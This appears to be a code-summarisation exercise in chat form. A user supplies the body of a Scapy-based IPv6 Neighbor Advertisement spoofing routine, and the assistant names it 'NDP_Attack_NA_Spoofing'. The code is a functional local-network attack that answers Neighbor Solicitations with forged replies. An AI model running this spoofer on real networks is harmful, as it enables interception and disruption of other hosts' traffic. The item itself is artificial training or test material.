human
Here's a good function header given the following:
I wrote the below code

    def is_request(req, mac_src_filter, tgt_filter):
        '\n                                Check    if    packet    req    is    a    request\n                                '
        if (not ((Ether in req) and (IPv6 in req) and (ICMPv6ND_NS in req))):
            return 0
        mac_src = req[Ether].src
        if (mac_src_filter and (mac_src != mac_src_filter)):
            return 0
        if (req[IPv6].src == '::'):
            return 0
        tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
        if (tgt_filter and (tgt != tgt_filter)):
            return 0
        dst = req[IPv6].dst
        if in6_isllsnmaddr(dst):
            received_snma = socket.inet_pton(socket.AF_INET6, dst)
            expected_snma = in6_getnsma(tgt)
            if (received_snma != expected_snma):
                print('solicited    node    multicast    @    does    not    match    target    @!')
                return 0
        return 1
    def reply_callback(req, reply_mac, router, iface):
        '\n                                Callback    that    reply    to    a    NS    with    a    spoofed    NA\n                                '
        mac = req[Ether].src
        pkt = req[IPv6]
        src = pkt.src
        tgt = req[ICMPv6ND_NS].tgt
        rep = (Ether(src=reply_mac, dst=mac) / IPv6(src=tgt, dst=src))
        rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1)
        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
        sendp(rep, iface=iface, verbose=0)
        print(('Reply    NA    for    target    address    %s    (received    from    %s)' % (tgt, mac)))
    if (not iface):
        iface = conf.iface
    if (not reply_mac):
        reply_mac = get_if_hwaddr(iface)
    sniff_filter = ('icmp6    and    not    ether    src    %s' % reply_mac)
    router = ((router and 1) or 0)
    sniff(store=0, filter=sniff_filter, lfilter=(lambda x: is_request(x, mac_src_filter, tgt_filter)), prn=(lambda x: reply_callback(x, reply_mac, router, iface)), iface=iface)

What's a good function header?
assistant
#Here's a good function header.

def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None, router=False):